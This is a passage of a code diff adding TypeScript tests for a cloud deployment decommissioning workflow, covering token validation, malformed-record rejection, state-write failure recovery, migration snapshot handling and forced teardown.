+        boundedAdvanceOptions(
+          terminal,
+          { kind: 'continue', token: barrierToken },
+          { backend: capabilityTrap },
+        ),
+      ),
+    ).resolves.toMatchObject({ status: 'complete', token: completeToken });
+    const terminalEvents = terminal.backend.events.length;
+    const terminalDatabaseReads = terminal.backend.databaseIdsRead.length;
+    const terminalScans = terminal.backend.scanInputs.length;
+    const terminalResiduals = terminal.backend.residualCalls;
+    const terminalExports = terminal.backend.receiptCalls.length;
+    const terminalWrites = terminal.store.phases.length;
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          terminal,
+          { kind: 'continue', token: completeToken },
+          { backend: capabilityTrap },
+        ),
+      ),
+    ).resolves.toMatchObject({ status: 'complete', token: completeToken });
+    expect(terminal.backend.events).toHaveLength(terminalEvents);
+    expect(terminal.backend.databaseIdsRead).toHaveLength(
+      terminalDatabaseReads,
+    );
+    expect(terminal.backend.scanInputs).toHaveLength(terminalScans);
+    expect(terminal.backend.residualCalls).toBe(terminalResiduals);
+    expect(terminal.backend.receiptCalls).toHaveLength(terminalExports);
+    expect(terminal.store.phases).toHaveLength(terminalWrites);
+
+    const leasesBeforeMalformedToken = terminal.store.leaseCalls;
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          terminal,
+          {
+            kind: 'continue',
+            token: { ...completeToken, revision: -1 },
+          },
+          { backend: capabilityTrap },
+        ),
+      ),
+    ).rejects.toThrow('decommission advance token is malformed');
+    expect(terminal.store.leaseCalls).toBe(leasesBeforeMalformedToken);
+    expect(terminal.backend.events).toHaveLength(terminalEvents);
+    expect(terminal.backend.databaseIdsRead).toHaveLength(
+      terminalDatabaseReads,
+    );
+    expect(terminal.backend.scanInputs).toHaveLength(terminalScans);
+    expect(terminal.backend.residualCalls).toBe(terminalResiduals);
+    expect(terminal.backend.receiptCalls).toHaveLength(terminalExports);
+    expect(terminal.store.phases).toHaveLength(terminalWrites);
+    for (const row of [
+      {
+        action: { kind: 'continue', token: completeToken, extra: true },
+        message: 'decommission advance action is malformed',
+      },
+      {
+        action: {
+          kind: 'continue',
+          token: { ...completeToken, tenantTag: 'other' },
+        },
+        message: 'decommission advance token targets another deployment',
+      },
+      {
+        action: {
+          kind: 'continue',
+          token: { ...completeToken, operationId: crypto.randomUUID() },
+        },
+        message: 'decommission advance token targets another operation',
+      },
+      {
+        action: {
+          kind: 'continue',
+          token: { ...completeToken, revision: completeToken.revision + 1 },
+        },
+        message: 'decommission advance token is from the future',
+      },
+    ] as const) {
+      await expect(
+        advanceDecommissionDeployment(
+          boundedAdvanceOptions(
+            terminal,
+            row.action as AdvanceDecommissionDeploymentOptions['action'],
+            { backend: capabilityTrap },
+          ),
+        ),
+      ).rejects.toThrow(row.message);
+    }
+    expect(terminalReceiptGetterReads).toBe(0);
+
+    const precommit = await boundedDecommissionHarness();
+    let precommitResult = await driveToPreDeleteVerify(precommit);
+    precommitResult = await continueBoundedDecommission(
+      precommit,
+      precommitResult,
+    );
+    precommit.store.failPutPhase = 'decommissioned';
+    await expect(
+      continueBoundedDecommission(precommit, precommitResult),
+    ).rejects.toThrow('failed state write at decommissioned');
+    expect(precommit.store.record?.decommissionIntent).toMatchObject({
+      lifecyclePhase: 'database-deleting',
+      state: 'transitioning',
+    });
+    await expect(
+      continueBoundedDecommission(precommit, precommitResult),
+    ).resolves.toMatchObject({ status: 'complete' });
+
+    const committedStore = new CommitThenThrowStore();
+    const committed = await boundedDecommissionHarness({
+      store: committedStore,
+    });
+    let committedResult = await driveToPreDeleteVerify(committed);
+    committedResult = await continueBoundedDecommission(
+      committed,
+      committedResult,
+    );
+    committedStore.failAfterCommittedPhase = 'decommissioned';
+    await expect(
+      continueBoundedDecommission(committed, committedResult),
+    ).rejects.toThrow('committing decommissioned');
+    expect(committed.store.record?.decommissionIntent?.state).toBe('complete');
+    await expect(
+      continueBoundedDecommission(committed, committedResult),
+    ).resolves.toMatchObject({ status: 'complete' });
+
+    for (const malformed of [null, false, 0, '']) {
+      const candidate = await boundedDecommissionHarness();
+      let candidateResult = await driveToPreDeleteVerify(candidate);
+      candidateResult = await continueBoundedDecommission(
+        candidate,
+        candidateResult,
+      );
+      candidate.backend.databaseExists = true;
+      candidate.backend.databaseReadOutcomes.push({
+        status: 'fulfilled',
+        value: malformed,
+      });
+      await expect(
+        continueBoundedDecommission(candidate, candidateResult),
+      ).rejects.toThrow('persisted database reference is malformed');
+      expect(candidate.store.record?.decommissionIntent?.state).toBe(
+        'transitioning',
+      );
+    }
+
+    for (const terminalState of ['discover', 'verify'] as const) {
+      const candidate = await boundedDecommissionHarness();
+      let candidateResult = await driveToPreDeleteVerify(candidate);
+      candidateResult = await continueBoundedDecommission(
+        candidate,
+        candidateResult,
+      );
+      candidate.backend.databaseExists = true;
+      candidateResult = await continueBoundedDecommission(
+        candidate,
+        candidateResult,
+      );
+      expect(candidate.store.record?.decommissionIntent).toMatchObject({
+        lifecyclePhase: 'database-deleting',
+        state: 'discover',
+      });
+      if (terminalState === 'verify') {
+        candidateResult = await continueBoundedDecommission(
+          candidate,
+          candidateResult,
+        );
+        expect(candidate.store.record?.decommissionIntent?.state).toBe(
+          'verify',
+        );
+      }
+      candidate.backend.databaseExists = false;
+      const scans = candidate.backend.scanInputs.length;
+      const residuals = candidate.backend.residualCalls;
+      const deletes = candidate.backend.events.filter(
+        (event) => event === 'delete-database',
+      ).length;
+      await expect(
+        continueBoundedDecommission(candidate, candidateResult),
+      ).resolves.toMatchObject({ status: 'complete' });
+      expect(candidate.backend.scanInputs).toHaveLength(scans);
+      expect(candidate.backend.residualCalls).toBe(residuals);
+      expect(
+        candidate.backend.events.filter((event) => event === 'delete-database'),
+      ).toHaveLength(deletes);
+    }
+
+    const secondReconciliation = await boundedDecommissionHarness();
+    let secondResult = await driveToPreDeleteVerify(secondReconciliation);
+    secondResult = await continueBoundedDecommission(
+      secondReconciliation,
+      secondResult,
+    );
+    secondReconciliation.backend.databaseExists = true;
+    secondResult = await continueBoundedDecommission(
+      secondReconciliation,
+      secondResult,
+    );
+    secondResult = await continueBoundedDecommission(
+      secondReconciliation,
+      secondResult,
+    );
+    const scans = secondReconciliation.backend.scanInputs.length;
+    const residuals = secondReconciliation.backend.residualCalls;
+    const deletes = secondReconciliation.backend.events.filter(
+      (event) => event === 'delete-database',
+    ).length;
+    secondReconciliation.backend.databaseReadOutcomes.push(
+      {
+        status: 'fulfilled',
+        value: {
+          id: DATABASE_ID,
+          name: 'acme-production',
+          created: false,
+        },
+      },
+      { status: 'fulfilled', value: undefined },
+    );
+    await expect(
+      continueBoundedDecommission(secondReconciliation, secondResult),
+    ).resolves.toMatchObject({ status: 'complete' });
+    expect(secondReconciliation.backend.scanInputs).toHaveLength(scans + 1);
+    expect(secondReconciliation.backend.residualCalls).toBe(residuals);
+    expect(
+      secondReconciliation.backend.events.filter(
+        (event) => event === 'delete-database',
+      ),
+    ).toHaveLength(deletes);
+  });
+
+  it('drains bounded and legacy normal decommission with one audit contract', async () => {
+    const bounded = await boundedDecommissionHarness();
+    const boundedAudit = vi.fn();
+    const boundedResult = await decommissionDeployment({
+      backend: bounded.backend,
+      store: bounded.store,
+      spec: bounded.deployment,
+      audit: boundedAudit,
+    });
+    expect(boundedResult.record).toMatchObject({
+      phase: 'decommissioned',
+      decommissionIntent: { state: 'complete' },
+    });
+    expect(bounded.backend.receiptCalls).toHaveLength(1);
+    expect(boundedAudit).toHaveBeenCalledTimes(1);
+
+    const active = await boundedDecommissionHarness();
+    await startBoundedDecommission(active);
+    const activeAudit = vi.fn();
+    const activeHasTrap = new Proxy(active.backend, {
+      has() {
+        throw new Error('active normal intent executed has trap');
+      },
+      get(target, property) {
+        const value = Reflect.get(target, property, target);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    await expect(
+      decommissionDeployment({
+        backend: activeHasTrap,
+        store: active.store,
+        spec: active.deployment,
+        audit: activeAudit,
+      }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    expect(activeAudit).toHaveBeenCalledTimes(1);
+
+    const malformedNormal = await boundedDecommissionHarness();
+    await startBoundedDecommission(malformedNormal);
+    const normalRecord = malformedNormal.store.record;
+    const normalIntent = normalRecord?.decommissionIntent;
+    if (!normalRecord || !normalIntent) {
+      throw new Error('normal decommission fixture lacks its active intent');
+    }
+    const { identity: _missingIdentity, ...withoutIdentity } = normalIntent;
+    const { mode: _missingMode, ...identityWithoutMode } =
+      normalIntent.identity;
+    let identityGetterCalls = 0;
+    const accessorIntent = { ...normalIntent };
+    Object.defineProperty(accessorIntent, 'identity', {
+      configurable: true,
+      enumerable: true,
+      get() {
+        identityGetterCalls += 1;
+        return normalIntent.identity;
+      },
+    });
+    const malformedNormalRows: readonly (readonly [string, unknown])[] = [
+      ['empty shell', {}],
+      ['missing identity', withoutIdentity],
+      ['missing mode', { ...normalIntent, identity: identityWithoutMode }],
+      [
+        'unknown mode',
+        {
+          ...normalIntent,
+          identity: { ...normalIntent.identity, mode: { kind: 'future' } },
+        },
+      ],
+      ['malformed normal shell', { ...normalIntent, revision: -1 }],
+      ['accessor shell', accessorIntent],
+      ['transparent proxy shell', new Proxy(normalIntent, {})],
+    ];
+    let normalBackendTrapCalls = 0;
+    const normalBackendTrap = new Proxy({} as ProvisioningBackend, {
+      get() {
+        normalBackendTrapCalls += 1;
+        throw new Error('malformed normal shell read the provider');
+      },
+      has() {
+        normalBackendTrapCalls += 1;
+        throw new Error('malformed normal shell reflected the provider');
+      },
+    });
+    const malformedNormalAudit = vi.fn();
+    for (const [label, shell] of malformedNormalRows) {
+      const hostileStore = new MemoryStore();
+      hostileStore.record = {
+        ...normalRecord,
+        decommissionIntent: shell,
+      } as FleetRecord;
+      let failure: unknown;
+      try {
+        await decommissionDeployment({
+          backend: normalBackendTrap,
+          store: hostileStore,
+          spec: malformedNormal.deployment,
+          audit: malformedNormalAudit,
+        });
+      } catch (error) {
+        failure = error;
+      }
+      expect(failure, label).toBeInstanceOf(Error);
+      expect((failure as Error).name, label).toBe('Error');
+      expect((failure as Error).message, label).toBe(
+        'backend switch decommission record is malformed',
+      );
+      expect(hostileStore.leaseCalls, label).toBe(0);
+    }
+    expect(identityGetterCalls).toBe(0);
+    expect(normalBackendTrapCalls).toBe(0);
+    expect(malformedNormalAudit).not.toHaveBeenCalled();
+
+    const activeSwitch = await boundedDecommissionHarness();
+    activeSwitch.store.record = {
+      ...(activeSwitch.store.record as FleetRecord),
+      backendSwitchIntent: {
+        subphase: 'domain-detach-authorized',
+      } as FleetRecord['backendSwitchIntent'],
+    };
+    const switchHasTrap = new Proxy(activeSwitch.backend, {
+      has() {
+        throw new Error('active backend switch executed has trap');
+      },
+      get(target, property) {
+        const value = Reflect.get(target, property, target);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    await expect(
+      decommissionDeployment({
+        backend: switchHasTrap,
+        store: activeSwitch.store,
+        spec: activeSwitch.deployment,
+      }),
+    ).rejects.toThrow('backend switch decommission record is malformed');
+
+    const race = await boundedDecommissionHarness();
+    const ready = race.store.record as FleetRecord;
+    const started = await startBoundedDecommission(race);
+    const advancing = race.store.record as FleetRecord;
+    let reads = 0;
+    race.store.get = async () => {
+      reads += 1;
+      return reads === 1 ? ready : (race.store.record ?? advancing);
+    };
+    race.store.record = advancing;
+    await expect(
+      decommissionDeployment({
+        backend: race.backend,
+        store: race.store,
+        spec: race.deployment,
+      }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    expect(reads).toBeGreaterThan(1);
+    expect(started.status).toBe('pending');
+
+    const legacy = await boundedDecommissionHarness();
+    await expect(
+      decommissionDeployment({
+        backend: legacyOnlyBackend(legacy.backend),
+        store: legacy.store,
+        spec: legacy.deployment,
+      }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    expect(legacy.backend.receiptCalls).toEqual([]);
+    expect(legacy.backend.events).toContain('export');
+
+    for (const mode of ['partial', 'non-callable', 'throwing'] as const) {
+      const malformed = await boundedDecommissionHarness();
+      const malformedBackend = new Proxy(malformed.backend, {
+        get(target, property) {
+          if (property === 'exportDatabaseReceipt') {
+            if (mode === 'throwing') throw new Error('receipt getter trap');
+            return mode === 'partial' ? undefined : 1;
+          }
+          const value = Reflect.get(target, property, target);
+          return typeof value === 'function' ? value.bind(target) : value;
+        },
+      });
+      await expect(
+        decommissionDeployment({
+          backend: malformedBackend,
+          store: malformed.store,
+          spec: malformed.deployment,
+        }),
+        mode,
+      ).rejects.toThrow('database export receipt capability is malformed');
+      expect(malformed.store.record?.decommissionIntent, mode).toBeUndefined();
+    }
+
+    for (const present of ['authority', 'exporter'] as const) {
+      const partial = await boundedDecommissionHarness();
+      const hasCalls: PropertyKey[] = [];
+      const partialBackend = new Proxy(partial.backend, {
+        has(target, property) {
+          hasCalls.push(property);
+          if (property === 'advanceDecommissionAttachmentScan') return true;
+          if (property === 'databaseExportReceiptAuthority') {
+            return present === 'authority';
+          }
+          if (property === 'exportDatabaseReceipt') {
+            return present === 'exporter';
+          }
+          return Reflect.has(target, property);
+        },
+        get(target, property) {
+          if (
+            property === 'databaseExportReceiptAuthority' &&
+            present !== 'authority'
+          ) {
+            return undefined;
+          }
+          if (property === 'exportDatabaseReceipt' && present !== 'exporter') {
+            return undefined;
+          }
+          const value = Reflect.get(target, property, target);
+          return typeof value === 'function' ? value.bind(target) : value;
+        },
+      });
+      await expect(
+        decommissionDeployment({
+          backend: partialBackend,
+          store: partial.store,
+          spec: partial.deployment,
+        }),
+        present,
+      ).rejects.toThrow('database export receipt capability is malformed');
+      expect(hasCalls, present).toContain('advanceDecommissionAttachmentScan');
+      expect(hasCalls, present).toContain(
+        present === 'authority'
+          ? 'databaseExportReceiptAuthority'
+          : 'exportDatabaseReceipt',
+      );
+      expect(partial.backend.events, present).not.toContain('export');
+      expect(partial.store.record?.decommissionIntent, present).toBeUndefined();
+    }
+
+    const lateFenced = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    lateFenced.store.record = {
+      ...(lateFenced.store.record as FleetRecord),
+      phase: 'database-exported',
+      databaseExportLocation: 'memory://legacy/export.sql',
+      databaseExportSha256: 'a'.repeat(64),
+      databaseExportSize: 42,
+    };
+    lateFenced.backend.events.length = 0;
+    await expect(
+      decommissionDeployment({
+        backend: lateFenced.backend,
+        store: lateFenced.store,
+        spec: lateFenced.deployment,
+      }),
+    ).rejects.toThrow(
+      'normal decommission D1 work requires every application R2 resource to be deleted',
+    );
+    expect(lateFenced.backend.events).toEqual([]);
+    expect(lateFenced.backend.receiptCalls).toEqual([]);
+
+    for (const phase of [
+      'database-exported',
+      'database-deleting',
+      'decommissioned',
+    ] as const) {
+      const late = await boundedDecommissionHarness();
+      late.store.record = {
+        ...(late.store.record as FleetRecord),
+        phase,
+        applicationResources: [],
+        databaseExportLocation: 'memory://legacy/export.sql',
+        databaseExportSha256: 'a'.repeat(64),
+        databaseExportSize: 42,
+      };
+      late.backend.events.length = 0;
+      await expect(
+        decommissionDeployment({
+          backend: late.backend,
+          store: late.store,
+          spec: late.deployment,
+        }),
+        phase,
+      ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+      expect(late.backend.receiptCalls, phase).toEqual([]);
+      if (phase === 'decommissioned') {
+        expect(late.backend.events, phase).toEqual([]);
+      } else {
+        expect(late.backend.events, phase).toContain('delete-database');
+      }
+    }
+
+    const blocked = await boundedDecommissionHarness();
+    let blockedResult = await driveBoundedUntil(
+      blocked,
+      (record) =>
+        record.decommissionIntent?.lifecyclePhase ===
+          'application-resources-deleted' &&
+        record.decommissionIntent.state === 'transitioning',
+    );
+    blockedResult = await continueBoundedDecommission(blocked, blockedResult);
+    blocked.backend.scanResults.push({
+      status: 'attached',
+      attachment: { plane: 'ordinary', scriptName: 'removed-before-restart' },
+      providerFetchAttemptsReserved: 3,
+    });
+    blockedResult = await continueBoundedDecommission(blocked, blockedResult);
+    expect(blockedResult.status).toBe('blocked');
+    await expect(
+      decommissionDeployment({
+        backend: blocked.backend,
+        store: blocked.store,
+        spec: blocked.deployment,
+      }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+
+    const newlyBlocked = await boundedDecommissionHarness();
+    const newlyBlockedAudit = vi.fn();
+    newlyBlocked.backend.scanResults.push({
+      status: 'attached',
+      attachment: { plane: 'ordinary', scriptName: 'still-attached' },
+      providerFetchAttemptsReserved: 3,
+    });
+    await expect(
+      decommissionDeployment({
+        backend: newlyBlocked.backend,
+        store: newlyBlocked.store,
+        spec: newlyBlocked.deployment,
+        audit: newlyBlockedAudit,
+      }),
+    ).rejects.toThrow(
+      'bounded decommission remains blocked by a Worker attachment',
+    );
+    expect(newlyBlockedAudit).not.toHaveBeenCalled();
+
+    const complete = await boundedDecommissionHarness();
+    await decommissionDeployment({
+      backend: complete.backend,
+      store: complete.store,
+      spec: complete.deployment,
+    });
+    const hasTrap = new Proxy(complete.backend, {
+      has() {
+        throw new Error('complete wrapper executed has trap');
+      },
+      get(target, property) {
+        const value = Reflect.get(target, property, target);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    await expect(
+      decommissionDeployment({
+        backend: hasTrap,
+        store: complete.store,
+        spec: complete.deployment,
+      }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+  });
+
+  it('atomically consumes plain and WFP migration carriers while preserving snapshots', async () => {
+    for (const mode of ['plain', 'catalog', 'external'] as const) {
+      const mutable = mode !== 'external';
+      const harness = await boundedDecommissionHarness({
+        kind: mode === 'plain' ? 'plain-worker' : 'workers-for-platforms',
+        external: mode === 'external',
+      });
+      const record = harness.store.record as FleetRecord;
+      const targetDigest = deploymentSpecDigest(harness.deployment);
+      const oldDigest = 'f'.repeat(64);
+      const activeRelease: ExternalReleaseSnapshot = {
+        physicalScriptName: record.scriptName,
+        specDigest: oldDigest,
+        artifactVersion: 'artifact-old',
+        releaseSchemaVersion: record.schemaVersion,
+        application: record.applicationBindings,
+      };
+      const pendingRelease: ExternalReleaseSnapshot = {
+        physicalScriptName: mutable
+          ? record.scriptName
+          : `${record.scriptName}-next`,
+        specDigest: targetDigest,
+        artifactVersion: 'artifact-next',
+        releaseSchemaVersion: harness.deployment.schemaVersion,
+        application: record.applicationBindings,
+      };
+      harness.store.record = {
+        ...record,
+        phase: 'migrating',
+        desiredSpecDigest: oldDigest,
+        activeRelease,
+        ...(mutable
+          ? {
+              pendingSpecDigest: targetDigest,
+              pendingArtifactVersion: pendingRelease.artifactVersion,
+            }
+          : {
+              pendingSpecDigest: targetDigest,
+              pendingRelease,
+              migrationPriorRelease: activeRelease,
+              migrationIntent: {
+                targetSpecDigest: targetDigest,
+                priorRelease: activeRelease,
+                priorTarget: record.platformTarget as never,
+                priorOutboundPolicy: record.outboundPolicy as never,
+                targetRelease: pendingRelease,
+                target: record.platformTarget as never,
+                subphase: 'route-published',
+              },
+            }),
+      };
+      const started = await startBoundedDecommission(harness);
+      await continueBoundedDecommission(harness, started);
+      expect(harness.store.record).toMatchObject({
+        desiredSpecDigest: targetDigest,
+        activeRelease,
+        pendingRelease,
+        decommissionIntent: {
+          lifecyclePhase: 'decommissioning',
+          identity: { mode: { entryLifecyclePhase: 'migrating' } },
+        },
+      });
+      expect(harness.store.record).not.toHaveProperty('pendingSpecDigest');
+      expect(harness.store.record).not.toHaveProperty('pendingArtifactVersion');
+      expect(harness.store.record).not.toHaveProperty('migrationIntent');
+    }
+
+    const withoutArtifact = await boundedDecommissionHarness({
+      kind: 'plain-worker',
+    });
+    const source = withoutArtifact.store.record as FleetRecord;
+    const targetDigest = deploymentSpecDigest(withoutArtifact.deployment);
+    const activeRelease: ExternalReleaseSnapshot = {
+      physicalScriptName: source.scriptName,
+      specDigest: 'e'.repeat(64),
+      artifactVersion: 'artifact-old',
+      releaseSchemaVersion: source.schemaVersion,
+      application: source.applicationBindings,
+    };
+    withoutArtifact.store.record = {
+      ...source,
+      phase: 'migrating',
+      desiredSpecDigest: activeRelease.specDigest,
+      pendingSpecDigest: targetDigest,
+      activeRelease,
+    };
+    const started = await startBoundedDecommission(withoutArtifact);
+    await continueBoundedDecommission(withoutArtifact, started);
+    expect(withoutArtifact.store.record).toMatchObject({
+      desiredSpecDigest: targetDigest,
+      activeRelease,
+    });
+    expect(withoutArtifact.store.record).not.toHaveProperty('pendingRelease');
+    expect(withoutArtifact.store.record).not.toHaveProperty(
+      'pendingSpecDigest',
+    );
+  });
+
+  it.each([
+    'plain-worker',
+    'workers-for-platforms',
+    'external',
+  ] as const)('preserves migration authority through compatibility teardown (%s)', async (mode) => {
+    const external = mode === 'external';
+    const kind = external ? 'workers-for-platforms' : mode;
+    const harness = await boundedDecommissionHarness({ kind, external });
+    const original = harness.store.record;
+    if (!original) throw new Error('legacy teardown fixture record is missing');
+    const activeRelease: ExternalReleaseSnapshot = {
+      ...original.activeRelease,
+      physicalScriptName: external
+        ? `${original.scriptName}-${'f'.repeat(20)}`
+        : original.scriptName,
+      artifactVersion: 'artifact-old',
+      specDigest: 'f'.repeat(64),
+      releaseSchemaVersion: original.schemaVersion,
+      application: original.applicationBindings,
+    };
+    let source: FleetRecord = {
+      ...original,
+      phase: 'migrating',
+      artifactVersion: activeRelease.artifactVersion,
+      desiredSpecDigest: activeRelease.specDigest,
+      activeRelease,
+      pendingSpecDigest: deploymentSpecDigest(harness.deployment),
+      pendingArtifactVersion: 'artifact-next',
+    };
+    if (external) {
+      const target = original.platformTarget;
+      const pendingRelease = original.activeRelease;
+      const resources = original.platformResources;
+      if (!target || !pendingRelease || !resources)
+        throw new Error(
+          'external compatibility fixture lacks target authority',
+        );
+      const { pendingArtifactVersion: _pendingArtifactVersion, ...remaining } =
+        source;
+      source = {
+        ...remaining,
+        platformResources: {
+          ...resources,
+          stateWorker: {
+            ...resources.stateWorker,
+            plane: 'dispatch',
+            dispatchNamespace: 'compatibility',
+          },
+        },
+        pendingRelease,
+        migrationPriorRelease: activeRelease,
+        migrationIntent: {
+          priorRelease: activeRelease,
+          priorTarget: target,
+          priorOutboundPolicy: target.outboundPolicy,
+          targetRelease: pendingRelease,
+          targetSpecDigest: pendingRelease.specDigest,
+          target,
+          subphase: 'schema-applied',
+        },
+      };
+    }
+    const fixture = sqliteFleetStore();
+    try {
+      const { store } = fixture;
+      await store.withDeploymentLease(
+        source.tenantTag,
+        source.environment,
+        (lease) => lease.put(source),
+      );
+      const hidden = new Set<PropertyKey>([
+        'advanceDecommissionAttachmentScan',
+        'databaseExportReceiptAuthority',
+        'exportDatabaseReceipt',
+      ]);
+      const backend = new Proxy(harness.backend, {
+        has(target, property) {
+          return !hidden.has(property) && Reflect.has(target, property);
+        },
+        get(target, property) {
+          if (hidden.has(property)) return undefined;
+          const value = Reflect.get(target, property, target);
+          return typeof value === 'function' ? value.bind(target) : value;
+        },
+      });
+      if (external) {
+        const deletion = vi.spyOn(harness.backend, 'deletePlatformResources');
+        deletion.mockRejectedValueOnce(
+          new Error('fixture state deletion unavailable'),
+        );
+        await expect(
+          decommissionDeployment({ backend, store, spec: harness.deployment }),
+        ).rejects.toThrow('fixture state deletion unavailable');
+        const interrupted = await store.get(
+          source.tenantTag,
+          source.environment,
+        );
+        expect(interrupted).toMatchObject({
+          phase: 'platform-credentials-revoked',
+          desiredSpecDigest: deploymentSpecDigest(harness.deployment),
+          migrationIntent: source.migrationIntent,
+        });
+        await expect(
+          decommissionDeployment({
+            backend,
+            store,
+            spec: { ...harness.deployment, compatibilityDate: '2026-08-11' },
+          }),
+        ).rejects.toThrow(/different desired specification/);
+      }
+      const result = await decommissionDeployment({
+        backend,
+        store,
+        spec: harness.deployment,
+      });
+      expect(result.record.phase).toBe('decommissioned');
+      expect(result.record.activeRelease).toEqual(activeRelease);
+      expect(result.record.desiredSpecDigest).toBe(
+        deploymentSpecDigest(harness.deployment),
+      );
+      expect(result.record).not.toHaveProperty('pendingSpecDigest');
+      expect(result.record).not.toHaveProperty('pendingArtifactVersion');
+      expect(result.record).not.toHaveProperty('migrationIntent');
+    } finally {
+      fixture.close();
+    }
+  });
+
+  it.each([
+    'ready',
+    'before-candidate',
+    'after-candidate',
+  ] as const)('spec-free force from %s preserves resource identity in native state', async (boundary) => {
+    const harness = await boundedDecommissionHarness();
+    const ready = harness.store.record;
+    if (!ready) throw new Error('force fixture record is missing');
+    const source: FleetRecord =
+      boundary === 'ready'
+        ? ready
+        : {
+            ...ready,
+            phase: 'migrating',
+            schemaVersion: ready.schemaVersion + 1,
+            activeRelease: {
+              physicalScriptName: ready.scriptName,
+              specDigest: ready.desiredSpecDigest,
+              artifactVersion: ready.artifactVersion,
+              releaseSchemaVersion: ready.schemaVersion,
+              application: ready.applicationBindings,
+            },
+            pendingSpecDigest: 'f'.repeat(64),
+            ...(boundary === 'after-candidate'
+              ? { pendingArtifactVersion: 'candidate-version' }
+              : {}),
+          };
+    const fixture = sqliteFleetStore();
+    try {
+      const { store } = fixture;
+      await store.withDeploymentLease(
+        source.tenantTag,
+        source.environment,
+        (lease) => lease.put(source),
+      );
+      const steps: ForceDecommissionStep[] = [];
+      let failRevocation = boundary === 'after-candidate';
+      const backend: ProvisioningBackend = harness.backend;
+      backend.forceDecommissionStep = async (
+        record: FleetRecord,
+        step: ForceDecommissionStep,
+        fence: ExternalMutationFence,
+      ) => {
+        await fence.assertOwned();
+        expect(await store.get(source.tenantTag, source.environment)).toEqual(
+          record,
+        );
+        expect(record).toMatchObject({
+          tenantTag: source.tenantTag,
+          environment: source.environment,
+          scriptName: source.scriptName,
+          databaseId: source.databaseId,
+          databaseName: source.databaseName,
+          desiredSpecDigest: source.desiredSpecDigest,
+          artifactVersion: source.artifactVersion,
+          applicationResources: source.applicationResources,
+        });
+        expect(record.activeRelease).toEqual(source.activeRelease);
+        expect(record).not.toHaveProperty('pendingSpecDigest');
+        expect(record).not.toHaveProperty('pendingArtifactVersion');
+        expect(record).not.toHaveProperty('pendingRelease');
+        if (step === 'revoke-credentials' && failRevocation) {
+          failRevocation = false;
+          throw new Error('fixture credential revocation unavailable');
+        }
+        steps.push(step);
+      };
+      const force = () =>
+        forceDecommissionDeployment({
+          backend,
+          store,
+          tenantTag: source.tenantTag,
+          environment: source.environment,
+        });
+      if (boundary === 'after-candidate') {
+        await expect(force()).rejects.toThrow(
+          'fixture credential revocation unavailable',
+        );
+        expect(
+          await store.get(source.tenantTag, source.environment),
+        ).toMatchObject({
+          phase: 'traffic-removed',
+          databaseId: source.databaseId,
+          desiredSpecDigest: source.desiredSpecDigest,
+        });
+      }
+      await force();
+      expect(steps).toEqual([
+        ...(boundary === 'after-candidate' ? ['remove-traffic'] : []),
+        'remove-traffic',
+        'revoke-credentials',
+        'delete-database',
+      ]);
+      expect(
+        await store.get(source.tenantTag, source.environment),
+      ).toBeUndefined();
+      expect(
+        fixture.query(
+          'SELECT resource_name FROM anchorage_platform_plane_claims',
+        ),
+      ).toEqual([]);
+    } finally {
+      fixture.close();
+    }
+  });
+
+  it('drains bounded backend-switch teardown and preserves legacy late recovery', async () => {
+    const harness = await boundedDecommissionHarness({
+      kind: 'workers-for-platforms',
+      external: true,
+    });
+    const current = harness.store.record;
+    if (!current?.platformTarget || !current.platformResources) {
+      throw new Error(
+        'backend-switch wrapper fixture lacks platform authority',
+      );
+    }
+    const priorSpec: DeploymentSpec = {
+      ...harness.deployment,
+      authoredBy: 'platform',
+    };
+    const prior = {
+      scriptName: current.scriptName,
+      artifactVersion: current.artifactVersion,
+      specDigest: deploymentSpecDigest(priorSpec),
+      databaseId: current.databaseId,
+      databaseName: current.databaseName,
+      durableObjectBindings: current.durableObjectBindings,
+      namespaceIds: current.durableObjectBindings.map(
+        ({ namespaceId }) => namespaceId,
+      ),
+      secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+      application: current.applicationBindings,
+      applicationResources: [],
+      customDomain: {
+        id: 'domain-acme',
+        hostname: current.routeHostname,
+      },
+    } as const;
+    const databaseExport: DatabaseExport = {
+      databaseId: current.databaseId,
+      location: 'memory://fleet-exports/backend-switch.sql',
+      sha256: 'f'.repeat(64),
+      size: 37,
+    };
+    const decommissionSnapshot = {
+      prior,
+      restoredArtifactVersion: null,
+      entryPendingArtifactVersion: null,
+      entryPendingNamespaceIds: null,
+      providerTargetSpecDigest: current.desiredSpecDigest,
+      routeHostname: current.routeHostname,
+      routeTargets: [],
+      desiredSpecDigest: current.desiredSpecDigest,
+      target: current.platformTarget,
+      releases: [],
+      applicationResources: [],
+    } as const;
+    harness.store.record = backendSwitchDecommissionRecordFixture(
+      JSON.parse(JSON.stringify(current)) as FleetRecord,
+      {
+        kind: 'backend-switch',
+        tenantTag: current.tenantTag,
+        environment: current.environment,
+        prior,
+        targetSpecDigest: current.desiredSpecDigest,
+        targetApplication: current.applicationBindings ?? {
+          vars: [],
+          secrets: [],
+          r2Buckets: [],
+        },
+        target: current.platformTarget,
+        rollbackUntil: '2026-09-30T00:00:00.000Z',
+        subphase: 'decommission-application-r2-removed',
+        applicationR2Progress: [],
+        decommissionSnapshot,
+      },
+      { subphase: 'decommission-application-r2-removed' },
+    );
+    const audit = vi.fn();
+    const providerTrap = new Proxy({} as ProvisioningBackend, {
+      get() {
+        throw new Error('terminal switch read the normal provider');
+      },
+      has() {
+        throw new Error('terminal switch reflected the normal provider');
+      },
+    });
+    let databasePresent = true;
+    let scanCalls = 0;
+    let receiptCalls = 0;
+    let boundedDeleteCalls = 0;
+    let legacyExportCalls = 0;
+    let legacyDeleteCalls = 0;
+    const boundedProvider = {
+      databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+      async advanceSwitchDecommissionAttachmentScan() {
+        scanCalls += 1;
+        return {
+          status: 'complete',
